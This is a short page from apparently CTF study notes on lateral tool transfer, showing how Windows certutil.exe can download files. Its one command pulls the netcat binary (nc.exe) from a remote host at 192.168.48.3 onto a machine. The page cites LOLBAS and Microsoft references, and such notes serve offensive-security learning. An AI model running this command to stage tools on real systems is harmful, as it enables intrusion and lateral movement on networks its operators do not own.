> For the complete documentation index, see [llms.txt](https://cajac.gitbook.io/ctf-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://cajac.gitbook.io/ctf-notes/lat-mov/lateral-tool-transfer/transfers-with-certutil.md).

# Transfers with certutil

Certutil.exe is a command-line program installed as part of Certificate Services.

## File download with certutil.exe

```bat
certutil -urlcache -split -f http://192.168.48.3/nc.exe nc.exe
```

## References

**certutil** - LOLBAS: <https://lolbas-project.github.io/lolbas/Binaries/Certutil/>

**certutil** - Microsoft Learn: <https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/certutil>